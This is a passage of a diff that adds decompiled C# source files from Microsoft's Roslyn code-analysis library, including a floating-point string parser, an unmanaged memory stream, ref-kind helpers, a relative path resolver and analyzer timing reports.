ImmutableArray<(IncrementalGeneratorRunStep, int)>.Empty : default(ImmutableArray<(IncrementalGeneratorRunStep, int)>)); + if (state == EntryState.Removed) + { + if (_filterTable.TryRemoveEntries(TimeSpan.Zero, stepInputs, out OneOrMany entries)) + { + for (int i = 0; i < entries.Count; i++) + { + _transformTable.TryRemoveEntries(TimeSpan.Zero, stepInputs); + } + } + return; + } + if (state != EntryState.Cached || !_filterTable.TryUseCachedEntries(TimeSpan.Zero, stepInputs, out NodeStateTable.TableEntry entry)) + { + SharedStopwatch sharedStopwatch = SharedStopwatch.StartNew(); + ImmutableArray immutableArray = getFilteredNodes(root.Value, _owner._filterFunc, cancellationToken); + if (state != EntryState.Modified || !_filterTable.TryModifyEntries(immutableArray, Roslyn.Utilities.ReferenceEqualityComparer.Instance, sharedStopwatch.Elapsed, stepInputs, state, out entry)) + { + entry = _filterTable.AddEntries(immutableArray, state, sharedStopwatch.Elapsed, stepInputs, state); + } + } + for (int j = 0; j < entry.Count; j++) + { + if (entry.GetState(j) == EntryState.Removed) + { + _transformTable.TryRemoveEntries(TimeSpan.Zero, stepInputs); + continue; + } + SharedStopwatch sharedStopwatch2 = SharedStopwatch.StartNew(); + GeneratorSyntaxContext arg = new GeneratorSyntaxContext(entry.GetItem(j), model, _owner._syntaxHelper); + T value = _owner._transformFunc(arg, cancellationToken); + EntryState entryState = ((state == EntryState.Cached) ? EntryState.Modified : state); + if (entryState == EntryState.Added || !_transformTable.TryModifyEntry(value, _comparer, sharedStopwatch2.Elapsed, stepInputs, entryState)) + { + _transformTable.AddEntry(value, EntryState.Added, sharedStopwatch2.Elapsed, stepInputs, EntryState.Added); + } + } + static ImmutableArray getFilteredNodes(SyntaxNode syntaxNode, Func func, CancellationToken token) + { + ArrayBuilder arrayBuilder = null; + foreach (SyntaxNode item in syntaxNode.DescendantNodesAndSelf()) + { + token.ThrowIfCancellationRequested(); + if (func(item, token)) + { + (arrayBuilder ?? (arrayBuilder = ArrayBuilder.GetInstance())).Add(item); + } + } + return arrayBuilder.ToImmutableOrEmptyAndFree(); + } + } + } + + private readonly Func _transformFunc; + + private readonly ISyntaxHelper _syntaxHelper; + + private readonly Func _filterFunc; + + private readonly object _filterKey = new object(); + + internal PredicateSyntaxStrategy(Func filterFunc, Func transformFunc, ISyntaxHelper syntaxHelper) + { + _transformFunc = transformFunc; + _syntaxHelper = syntaxHelper; + _filterFunc = filterFunc; + } + + public ISyntaxInputBuilder GetBuilder(StateTableStore table, object key, bool trackIncrementalSteps, string? name, IEqualityComparer? comparer) + { + return new Builder(this, key, table, trackIncrementalSteps, name, comparer ?? EqualityComparer.Default); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/PreprocessingSymbolInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/PreprocessingSymbolInfo.cs new file mode 100644 index 0000000..39cc620 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/PreprocessingSymbolInfo.cs @@ -0,0 +1,43 @@ +using System; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +public readonly struct PreprocessingSymbolInfo : IEquatable +{ + internal static readonly PreprocessingSymbolInfo None = new PreprocessingSymbolInfo(null, isDefined: false); + + public IPreprocessingSymbol? Symbol { get; } + + public bool IsDefined { get; } + + internal PreprocessingSymbolInfo(IPreprocessingSymbol? symbol, bool isDefined) + { + this = default(PreprocessingSymbolInfo); + Symbol = symbol; + IsDefined = isDefined; + } + + public bool Equals(PreprocessingSymbolInfo other) + { + if (object.Equals(Symbol, other.Symbol)) + { + return object.Equals(IsDefined, other.IsDefined); + } + return false; + } + + public override bool Equals(object? obj) + { + if (obj is PreprocessingSymbolInfo other) + { + return Equals(other); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(IsDefined, Hash.Combine(Symbol, 0)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/PrimitiveTypeCodeExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/PrimitiveTypeCodeExtensions.cs new file mode 100644 index 0000000..9334693 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/PrimitiveTypeCodeExtensions.cs @@ -0,0 +1,73 @@ +using Microsoft.Cci; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal static class PrimitiveTypeCodeExtensions +{ + public static bool Is64BitIntegral(this PrimitiveTypeCode kind) + { + if (kind == PrimitiveTypeCode.Int64 || kind == PrimitiveTypeCode.UInt64) + { + return true; + } + return false; + } + + public static bool IsSigned(this PrimitiveTypeCode kind) + { + if ((uint)(kind - 2) <= 6u) + { + return true; + } + return false; + } + + public static bool IsUnsigned(this PrimitiveTypeCode kind) + { + switch (kind) + { + case PrimitiveTypeCode.Char: + case PrimitiveTypeCode.Pointer: + case PrimitiveTypeCode.UInt8: + case PrimitiveTypeCode.UInt16: + case PrimitiveTypeCode.UInt32: + case PrimitiveTypeCode.UInt64: + case PrimitiveTypeCode.UIntPtr: + case PrimitiveTypeCode.FunctionPointer: + return true; + default: + return false; + } + } + + public static bool IsFloatingPoint(this PrimitiveTypeCode kind) + { + if ((uint)(kind - 3) <= 1u) + { + return true; + } + return false; + } + + public static ConstantValueTypeDiscriminator GetConstantValueTypeDiscriminator(this PrimitiveTypeCode type) + { + return type switch + { + PrimitiveTypeCode.Int8 => ConstantValueTypeDiscriminator.SByte, + PrimitiveTypeCode.UInt8 => ConstantValueTypeDiscriminator.Byte, + PrimitiveTypeCode.Int16 => ConstantValueTypeDiscriminator.Int16, + PrimitiveTypeCode.UInt16 => ConstantValueTypeDiscriminator.UInt16, + PrimitiveTypeCode.Int32 => ConstantValueTypeDiscriminator.Int32, + PrimitiveTypeCode.UInt32 => ConstantValueTypeDiscriminator.UInt32, + PrimitiveTypeCode.Int64 => ConstantValueTypeDiscriminator.Int64, + PrimitiveTypeCode.UInt64 => ConstantValueTypeDiscriminator.UInt64, + PrimitiveTypeCode.Char => ConstantValueTypeDiscriminator.Char, + PrimitiveTypeCode.Boolean => ConstantValueTypeDiscriminator.Boolean, + PrimitiveTypeCode.Float32 => ConstantValueTypeDiscriminator.Single, + PrimitiveTypeCode.Float64 => ConstantValueTypeDiscriminator.Double, + PrimitiveTypeCode.String => ConstantValueTypeDiscriminator.String, + _ => throw ExceptionUtilities.UnexpectedValue(type), + }; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/RESOURCE.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/RESOURCE.cs new file mode 100644 index 0000000..ef7cdb5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/RESOURCE.cs @@ -0,0 +1,24 @@ +namespace Microsoft.CodeAnalysis; + +internal class RESOURCE +{ + internal RESOURCE_STRING? pstringType; + + internal RESOURCE_STRING? pstringName; + + internal uint DataSize; + + internal uint HeaderSize; + + internal uint DataVersion; + + internal ushort MemoryFlags; + + internal ushort LanguageId; + + internal uint Version; + + internal uint Characteristics; + + internal byte[]? data; +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/RESOURCE_STRING.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/RESOURCE_STRING.cs new file mode 100644 index 0000000..32f7882 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/RESOURCE_STRING.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis; + +internal class RESOURCE_STRING +{ + internal ushort Ordinal; + + internal string? theString; +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ReadOnlyMemoryOfCharComparer.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ReadOnlyMemoryOfCharComparer.cs new file mode 100644 index 0000000..287e2e7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ReadOnlyMemoryOfCharComparer.cs @@ -0,0 +1,29 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal sealed class ReadOnlyMemoryOfCharComparer : IEqualityComparer> +{ + public static readonly ReadOnlyMemoryOfCharComparer Instance = new ReadOnlyMemoryOfCharComparer(); + + private ReadOnlyMemoryOfCharComparer() + { + } + + public static bool Equals(ReadOnlySpan x, ReadOnlyMemory y) + { + return x.SequenceEqual(y.Span); + } + + public bool Equals(ReadOnlyMemory x, ReadOnlyMemory y) + { + return x.Span.SequenceEqual(y.Span); + } + + public int GetHashCode(ReadOnlyMemory obj) + { + return Hash.GetFNVHashCode(obj.Span); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ReadOnlyUnmanagedMemoryStream.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ReadOnlyUnmanagedMemoryStream.cs new file mode 100644 index 0000000..b9e0f35 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ReadOnlyUnmanagedMemoryStream.cs @@ -0,0 +1,99 @@ +using System; +using System.IO; +using System.Runtime.InteropServices; + +namespace Microsoft.CodeAnalysis; + +internal sealed class ReadOnlyUnmanagedMemoryStream : Stream +{ + private readonly object _memoryOwner; + + private readonly IntPtr _data; + + private readonly int _length; + + private int _position; + + public override bool CanRead => true; + + public override bool CanSeek => true; + + public override bool CanWrite => false; + + public override long Length => _length; + + public override long Position + { + get + { + return _position; + } + set + { + Seek(value, SeekOrigin.Begin); + } + } + + public ReadOnlyUnmanagedMemoryStream(object memoryOwner, IntPtr data, int length) + { + _memoryOwner = memoryOwner; + _data = data; + _length = length; + } + + public unsafe override int ReadByte() + { + if (_position == _length) + { + return -1; + } + return ((byte*)(void*)_data)[_position++]; + } + + public override int Read(byte[] buffer, int offset, int count) + { + int num = Math.Min(count, _length - _position); + Marshal.Copy(_data + _position, buffer, offset, num); + _position += num; + return num; + } + + public override void Flush() + { + } + + public override long Seek(long offset, SeekOrigin origin) + { + long num; + try + { + num = checked(origin switch + { + SeekOrigin.Begin => offset, + SeekOrigin.Current => offset + _position, + SeekOrigin.End => offset + _length, + _ => throw new ArgumentOutOfRangeException("origin"), + }); + } + catch (OverflowException) + { + throw new ArgumentOutOfRangeException("offset"); + } + if (num < 0 || num >= _length) + { + throw new ArgumentOutOfRangeException("offset"); + } + _position = (int)num; + return num; + } + + public override void SetLength(long value) + { + throw new NotSupportedException(); + } + + public override void Write(byte[] buffer, int offset, int count) + { + throw new NotSupportedException(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/RealParser.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/RealParser.cs new file mode 100644 index 0000000..d119927 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/RealParser.cs @@ -0,0 +1,464 @@ +using System; +using System.Diagnostics; +using System.Numerics; +using System.Runtime.InteropServices; +using System.Text; + +namespace Microsoft.CodeAnalysis; + +internal static class RealParser +{ + private abstract class FloatingPointType + { + public abstract ushort DenormalMantissaBits { get; } + + public ushort NormalMantissaBits => (ushort)(DenormalMantissaBits + 1); + + public abstract ushort ExponentBits { get; } + + public int MinBinaryExponent => 1 - MaxBinaryExponent; + + public abstract int MaxBinaryExponent { get; } + + public int OverflowDecimalExponent => (MaxBinaryExponent + 2 * NormalMantissaBits) / 3; + + public abstract int ExponentBias { get; } + + public ulong DenormalMantissaMask => (ulong)((1L << (int)DenormalMantissaBits) - 1); + + public ulong NormalMantissaMask => (ulong)((1L << (int)NormalMantissaBits) - 1); + + public abstract ulong Zero { get; } + + public abstract ulong Infinity { get; } + + public Status AssembleFloatingPointValue(ulong initialMantissa, int initialExponent, bool hasZeroTail, out ulong result) + { + uint num = CountSignificantBits(initialMantissa); + int num2 = (int)(NormalMantissaBits - num); + int num3 = initialExponent - num2; + ulong num4 = initialMantissa; + int num5 = num3; + if (num3 > MaxBinaryExponent) + { + result = Infinity; + return Status.Overflow; + } + if (num3 < MinBinaryExponent) + { + int num6 = num2 + num3 + ExponentBias - 1; + num5 = -ExponentBias; + if (num6 < 0) + { + num4 = RightShiftWithRounding(num4, -num6, hasZeroTail); + if (num4 == 0L) + { + result = Zero; + return Status.Underflow; + } + if (num4 > DenormalMantissaMask) + { + num5 = initialExponent - (num6 + 1) - num2; + } + } + else + { + num4 <<= num6; + } + } + else if (num2 < 0) + { + num4 = RightShiftWithRounding(num4, -num2, hasZeroTail); + if (num4 > NormalMantissaMask) + { + num4 >>= 1; + num5++; + if (num5 > MaxBinaryExponent) + { + result = Infinity; + return Status.Overflow; + } + } + } + else if (num2 > 0) + { + num4 <<= num2; + } + num4 &= DenormalMantissaMask; + ulong num7 = (ulong)((long)(num5 + ExponentBias) << (int)DenormalMantissaBits); + result = num7 | num4; + return Status.OK; + } + } + + private sealed class FloatFloatingPointType : FloatingPointType + { + public static FloatFloatingPointType Instance = new FloatFloatingPointType(); + + public override ushort DenormalMantissaBits => 23; + + public override ushort ExponentBits => 8; + + public override int MaxBinaryExponent => 127; + + public override int ExponentBias => 127; + + public override ulong Zero => FloatToInt32Bits(0f); + + public override ulong Infinity => FloatToInt32Bits(float.PositiveInfinity); + + private FloatFloatingPointType() + { + } + } + + private sealed class DoubleFloatingPointType : FloatingPointType + { + public static DoubleFloatingPointType Instance = new DoubleFloatingPointType(); + + public override ushort DenormalMantissaBits => 52; + + public override ushort ExponentBits => 11; + + public override int MaxBinaryExponent => 1023; + + public override int ExponentBias => 1023; + + public override ulong Zero => (ulong)BitConverter.DoubleToInt64Bits(0.0); + + public override ulong Infinity => (ulong)BitConverter.DoubleToInt64Bits(double.PositiveInfinity); + + private DoubleFloatingPointType() + { + } + } + + [DebuggerDisplay("0.{Mantissa}e{Exponent}")] + private struct DecimalFloatingPointString + { + public int Exponent; + + public string Mantissa; + + public uint MantissaCount => (uint)Mantissa.Length; + + public static DecimalFloatingPointString FromSource(string source) + { + StringBuilder stringBuilder = new StringBuilder(); + int num = 0; + int i; + for (i = 0; i < source.Length && source[i] == '0'; i++) + { + } + int num2 = 0; + for (; i < source.Length && source[i] >= '0' && source[i] <= '9'; i++) + { + if (source[i] == '0') + { + num2++; + } + else + { + stringBuilder.Append('0', num2); + num2 = 0; + stringBuilder.Append(source[i]); + } + num++; + } + if (i < source.Length && source[i] == '.') + { + for (i++; i < source.Length && source[i] >= '0' && source[i] <= '9'; i++) + { + if (source[i] == '0') + { + num2++; + continue; + } + stringBuilder.Append('0', num2); + num2 = 0; + stringBuilder.Append(source[i]); + } + } + DecimalFloatingPointString result = new DecimalFloatingPointString + { + Mantissa = stringBuilder.ToString() + }; + if (i < source.Length && (source[i] == 'e' || source[i] == 'E')) + { + char c = '\0'; + i++; + if (i < source.Length && (source[i] == '-' || source[i] == '+')) + { + c = source[i]; + i++; + } + int num3 = i; + int num4 = i; + while (i < source.Length && source[i] >= '0' && source[i] <= '9') + { + num4 = ++i; + } + int result2 = 0; + num = ((!int.TryParse(source.Substring(num3, num4 - num3), out result2) || result2 > 1073741824) ? ((c == '-') ? (-1073741824) : 1073741824) : ((c != '-') ? (num + result2) : (num - result2))); + } + result.Exponent = num; + return result; + } + } + + private enum Status + { + OK, + NoDigits, + Underflow, + Overflow + } + + [StructLayout(LayoutKind.Explicit)] + private struct FloatUnion + { + [FieldOffset(0)] + public uint IntData; + + [FieldOffset(0)] + public float FloatData; + } + + private static readonly BigInteger s_bigZero = BigInteger.Zero; + + private static readonly BigInteger s_bigOne = BigInteger.One; + + private static readonly BigInteger s_bigTwo = new BigInteger(2); + + private static readonly BigInteger s_bigTen = new BigInteger(10); + + public static bool TryParseDouble(string s, out double d) + { + DecimalFloatingPointString data = DecimalFloatingPointString.FromSource(s); + DoubleFloatingPointType instance = DoubleFloatingPointType.Instance; + ulong result; + Status num = ConvertDecimalToFloatingPointBits(data, instance, out result); + d = BitConverter.Int64BitsToDouble((long)result); + return num != Status.Overflow; + } + + public static bool TryParseFloat(string s, out float f) + { + DecimalFloatingPointString data = DecimalFloatingPointString.FromSource(s); + FloatFloatingPointType instance = FloatFloatingPointType.Instance; + ulong result; + Status num = ConvertDecimalToFloatingPointBits(data, instance, out result); + f = Int32BitsToFloat((uint)result); + return num != Status.Overflow; + } + + private static Status ConvertDecimalToFloatingPointBits(DecimalFloatingPointString data, FloatingPointType type, out ulong result) + { + if (data.Mantissa.Length == 0) + { + result = type.Zero; + return Status.NoDigits; + } + uint num = (uint)(type.NormalMantissaBits + 1); + int num2 = Math.Max(0, data.Exponent); + uint num3 = Math.Min((uint)num2, data.MantissaCount); + uint num4 = (uint)num2 - num3; + uint integer_first_index = 0u; + uint num5 = num3; + uint num6 = num5; + uint mantissaCount = data.MantissaCount; + uint num7 = mantissaCount - num6; + BigInteger number = AccumulateDecimalDigitsIntoBigInteger(data, integer_first_index, num5); + if (num4 != 0) + { + if (num4 > type.OverflowDecimalExponent) + { + result = type.Infinity; + return Status.Overflow; + } + MultiplyByPowerOfTen(ref number, num4); + } + byte[] dataBytes; + uint num8 = CountSignificantBits(number, out dataBytes); + if (num8 >= num || num7 == 0) + { + return ConvertBigIntegerToFloatingPointBits(dataBytes, num8, num7 != 0, type, out result); + } + uint num9 = ((data.Exponent < 0) ? (num7 + (uint)(-data.Exponent)) : num7); + if (num8 == 0 && num9 - (int)data.MantissaCount > type.OverflowDecimalExponent) + { + result = type.Zero; + return Status.Underflow; + } + BigInteger number2 = AccumulateDecimalDigitsIntoBigInteger(data, num6, mantissaCount); + BigInteger number3 = s_bigOne; + MultiplyByPowerOfTen(ref number3, num9); + uint num10 = CountSignificantBits(number2); + uint num11 = CountSignificantBits(number3); + uint num12 = ((num11 > num10) ? (num11 - num10) : 0u); + if (num12 != 0) + { + ShiftLeft(ref number2, num12); + } + uint num13 = num - num8; + uint num14 = num13; + if (num8 != 0) + { + if (num12 > num14) + { + return ConvertBigIntegerToFloatingPointBits(dataBytes, num8, num7 != 0, type, out result); + } + num14 -= num12; + } + uint num15 = ((number2 < number3) ? (num12 + 1) : num12); + ShiftLeft(ref number2, num14); + BigInteger remainder; + ulong num16 = (ulong)BigInteger.DivRem(number2, number3, out remainder); + bool flag = remainder.IsZero; + uint num17 = CountSignificantBits(num16); + if (num17 > num13) + { + int num18 = (int)(num17 - num13); + flag = flag && (num16 & (ulong)((1L << num18) - 1)) == 0; + num16 >>= num18; + } + ulong initialMantissa = ((ulong)number << (int)num13) + num16; + int initialExponent = (int)((num8 != 0) ? (num8 - 2) : (0 - num15 - 1)); + return type.AssembleFloatingPointValue(initialMantissa, initialExponent, flag, out result); + } + + private static Status ConvertBigIntegerToFloatingPointBits(byte[] integerValueAsBytes, uint integerBitsOfPrecision, bool hasNonzeroFractionalPart, FloatingPointType type, out ulong result) + { + ushort denormalMantissaBits = type.DenormalMantissaBits; + bool flag = !hasNonzeroFractionalPart; + int num = (int)(integerBitsOfPrecision - 1) / 8; + int num2 = Math.Max(0, num - 8 + 1); + int initialExponent = denormalMantissaBits + num2 * 8; + ulong num3 = 0uL; + for (int num4 = num; num4 >= num2; num4--) + { + num3 <<= 8; + num3 |= integerValueAsBytes[num4]; + } + int num5 = num2 - 1; + while (flag && num5 >= 0) + { + if (integerValueAsBytes[num5] != 0) + { + flag = false; + } + num5--; + } + return type.AssembleFloatingPointValue(num3, initialExponent, flag, out result); + } + + private static BigInteger AccumulateDecimalDigitsIntoBigInteger(DecimalFloatingPointString data, uint integer_first_index, uint integer_last_index) + { + if (integer_first_index == integer_last_index) + { + return s_bigZero; + } + return BigInteger.Parse(data.Mantissa.Substring((int)integer_first_index, (int)(integer_last_index - integer_first_index))); + } + + private static uint CountSignificantBits(ulong data) + { + uint num = 0u; + while (data != 0L) + { + data >>= 1; + num++; + } + return num; + } + + private static uint CountSignificantBits(byte data) + { + uint num = 0u; + while (data != 0) + { + data >>= 1; + num++; + } + return num; + } + + private static uint CountSignificantBits(BigInteger data, out byte[] dataBytes) + { + if (data.IsZero) + { + dataBytes = new byte[1]; + return 0u; + } + dataBytes = data.ToByteArray(); + for (int num = dataBytes.Length - 1; num >= 0; num--) + { + byte b = dataBytes[num]; + if (b != 0) + { + return (uint)(8 * num) + CountSignificantBits(b); + } + } + return 0u; + } + + private static uint CountSignificantBits(BigInteger data) + { + byte[] dataBytes; + return CountSignificantBits(data, out dataBytes); + } + + private static ulong RightShiftWithRounding(ulong value, int shift, bool hasZeroTail) + { + if (shift >= 64) + { + return 0uL; + } + ulong num = (ulong)((1L << shift - 1) - 1); + ulong num2 = (ulong)(1L << shift - 1); + ulong num3 = (ulong)(1L << shift); + bool lsbBit = (value & num3) != 0; + bool roundBit = (value & num2) != 0; + bool hasTailBits = !hasZeroTail || (value & num) != 0; + return (value >> shift) + (ulong)(ShouldRoundUp(lsbBit, roundBit, hasTailBits) ? 1 : 0); + } + + private static bool ShouldRoundUp(bool lsbBit, bool roundBit, bool hasTailBits) + { + if (roundBit) + { + return hasTailBits || lsbBit; + } + return false; + } + + private static void ShiftLeft(ref BigInteger number, uint shift) + { + BigInteger bigInteger = BigInteger.Pow(s_bigTwo, (int)shift); + number *= bigInteger; + } + + private static void MultiplyByPowerOfTen(ref BigInteger number, uint power) + { + BigInteger bigInteger = BigInteger.Pow(s_bigTen, (int)power); + number *= bigInteger; + } + + private static uint FloatToInt32Bits(float f) + { + FloatUnion floatUnion = new FloatUnion + { + FloatData = f + }; + return floatUnion.IntData; + } + + private static float Int32BitsToFloat(uint i) + { + FloatUnion floatUnion = new FloatUnion + { + IntData = i + }; + return floatUnion.FloatData; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/RebuildData.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/RebuildData.cs new file mode 100644 index 0000000..2068096 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/RebuildData.cs @@ -0,0 +1,17 @@ +using System.Collections.Immutable; +using System.Reflection.Metadata; + +namespace Microsoft.CodeAnalysis; + +internal sealed class RebuildData +{ + internal ImmutableArray NonSourceFileDocumentNames { get; } + + internal BlobReader OptionsBlobReader { get; } + + internal RebuildData(BlobReader optionsBlobReader, ImmutableArray nonSourceFileDocumentNames) + { + OptionsBlobReader = optionsBlobReader; + NonSourceFileDocumentNames = nonSourceFileDocumentNames; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/RefKind.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/RefKind.cs new file mode 100644 index 0000000..7d8461a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/RefKind.cs @@ -0,0 +1,11 @@ +namespace Microsoft.CodeAnalysis; + +public enum RefKind : byte +{ + None = 0, + Ref = 1, + Out = 2, + In = 3, + RefReadOnly = 3, + RefReadOnlyParameter = 4 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/RefKindExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/RefKindExtensions.cs new file mode 100644 index 0000000..7a7ece9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/RefKindExtensions.cs @@ -0,0 +1,44 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal static class RefKindExtensions +{ + internal const RefKind StrictIn = (RefKind)5; + + internal static string ToParameterDisplayString(this RefKind kind) + { + return kind switch + { + RefKind.Out => "out", + RefKind.Ref => "ref", + RefKind.In => "in", + RefKind.RefReadOnlyParameter => "ref readonly", + _ => throw ExceptionUtilities.UnexpectedValue(kind), + }; + } + + internal static string ToArgumentDisplayString(this RefKind kind) + { + return kind switch + { + RefKind.Out => "out", + RefKind.Ref => "ref", + RefKind.In => "in", + _ => throw ExceptionUtilities.UnexpectedValue(kind), + }; + } + + internal static string ToParameterPrefix(this RefKind kind) + { + return kind switch + { + RefKind.Out => "out ", + RefKind.Ref => "ref ", + RefKind.In => "in ", + RefKind.RefReadOnlyParameter => "ref readonly ", + RefKind.None => string.Empty, + _ => throw ExceptionUtilities.UnexpectedValue(kind), + }; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ReferenceDirective.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ReferenceDirective.cs new file mode 100644 index 0000000..818f81b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ReferenceDirective.cs @@ -0,0 +1,8 @@ +namespace Microsoft.CodeAnalysis; + +internal readonly struct ReferenceDirective(string file, Location location) +{ + public readonly string? File = file; + + public readonly Location? Location = location; +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/RelativePathResolver.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/RelativePathResolver.cs new file mode 100644 index 0000000..a68e2eb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/RelativePathResolver.cs @@ -0,0 +1,64 @@ +using System; +using System.Collections.Immutable; +using System.IO; +using System.Linq; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal class RelativePathResolver : IEquatable +{ + public ImmutableArray SearchPaths { get; } + + public string BaseDirectory { get; } + + public RelativePathResolver(ImmutableArray searchPaths, string baseDirectory) + { + SearchPaths = searchPaths; + BaseDirectory = baseDirectory; + } + + public string ResolvePath(string reference, string baseFilePath) + { + string text = FileUtilities.ResolveRelativePath(reference, baseFilePath, BaseDirectory, SearchPaths, FileExists); + if (text == null) + { + return null; + } + return FileUtilities.TryNormalizeAbsolutePath(text); + } + + protected virtual bool FileExists(string fullPath) + { + return File.Exists(fullPath); + } + + public RelativePathResolver WithSearchPaths(ImmutableArray searchPaths) + { + return new RelativePathResolver(searchPaths, BaseDirectory); + } + + public RelativePathResolver WithBaseDirectory(string baseDirectory) + { + return new RelativePathResolver(SearchPaths, baseDirectory); + } + + public bool Equals(RelativePathResolver other) + { + if (BaseDirectory == other.BaseDirectory) + { + return SearchPaths.SequenceEqual(other.SearchPaths); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(BaseDirectory, Hash.CombineValues(SearchPaths)); + } + + public override bool Equals(object obj) + { + return Equals(obj as RelativePathResolver); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ReportAnalyzerUtil.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ReportAnalyzerUtil.cs new file mode 100644 index 0000000..0d959fd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/ReportAnalyzerUtil.cs @@ -0,0 +1,117 @@ +using System; +using System.Collections.Generic; +using System.Globalization; +using System.IO; +using System.Linq; +using System.Reflection; +using Microsoft.CodeAnalysis.Diagnostics; + +namespace Microsoft.CodeAnalysis; + +internal static class ReportAnalyzerUtil +{ + public static void Report(TextWriter consoleOutput, AnalyzerDriver? analyzerDriver, GeneratorDriverTimingInfo? driverTimingInfo, CultureInfo culture, bool isConcurrentBuild) + { + if (isConcurrentBuild && (analyzerDriver != null || driverTimingInfo.HasValue)) + { + consoleOutput.WriteLine(CodeAnalysisResources.MultithreadedAnalyzerExecutionNote); + consoleOutput.WriteLine(); + } + if (analyzerDriver != null) + { + ReportAnalyzerExecutionTime(consoleOutput, analyzerDriver, culture); + } + if (driverTimingInfo.HasValue) + { + GeneratorDriverTimingInfo valueOrDefault = driverTimingInfo.GetValueOrDefault(); + ReportGeneratorExecutionTime(consoleOutput, valueOrDefault, culture); + } + } + + public static string GetFormattedAnalyzerExecutionTime(double executionTime, CultureInfo culture) + { + if (!(executionTime < 0.001)) + { + return string.Format(culture, "{0,8:##0.000}", executionTime); + } + return string.Format(culture, "{0,8:<0.000}", 0.001); + } + + public static string GetFormattedAnalyzerExecutionPercentage(int percentage, CultureInfo culture) + { + return string.Format("{0,5}", (percentage < 1) ? "<1" : percentage.ToString(culture)); + } + + private static string GetColumnHeader(string kind) + { + string text = $"{CodeAnalysisResources.AnalyzerExecutionTimeColumnHeader,8}"; + string text2 = string.Format("{0,5}", "%"); + return text + text2 + " " + kind; + } + + private static string GetColumnEntry(double totalSeconds, int percentage, string? name, CultureInfo culture) + { + string formattedAnalyzerExecutionTime = GetFormattedAnalyzerExecutionTime(totalSeconds, culture); + string formattedAnalyzerExecutionPercentage = GetFormattedAnalyzerExecutionPercentage(percentage, culture); + return formattedAnalyzerExecutionTime + formattedAnalyzerExecutionPercentage + " " + name; + } + + private static void ReportAnalyzerExecutionTime(TextWriter consoleOutput, AnalyzerDriver analyzerDriver, CultureInfo culture) + { + if (analyzerDriver.AnalyzerExecutionTimes.IsEmpty) + { + return; + } + double num = analyzerDriver.AnalyzerExecutionTimes.Sum>((KeyValuePair kvp) => kvp.Value.TotalSeconds); + consoleOutput.WriteLine(string.Format(CodeAnalysisResources.AnalyzerTotalExecutionTime, num.ToString("##0.000", culture))); + consoleOutput.WriteLine(); + consoleOutput.WriteLine(GetColumnHeader(CodeAnalysisResources.AnalyzerNameColumnHeader)); + foreach (IGrouping> item in from kvp in analyzerDriver.AnalyzerExecutionTimes + group kvp by kvp.Key.GetType().Assembly into kvp + orderby kvp.Sum((KeyValuePair entry) 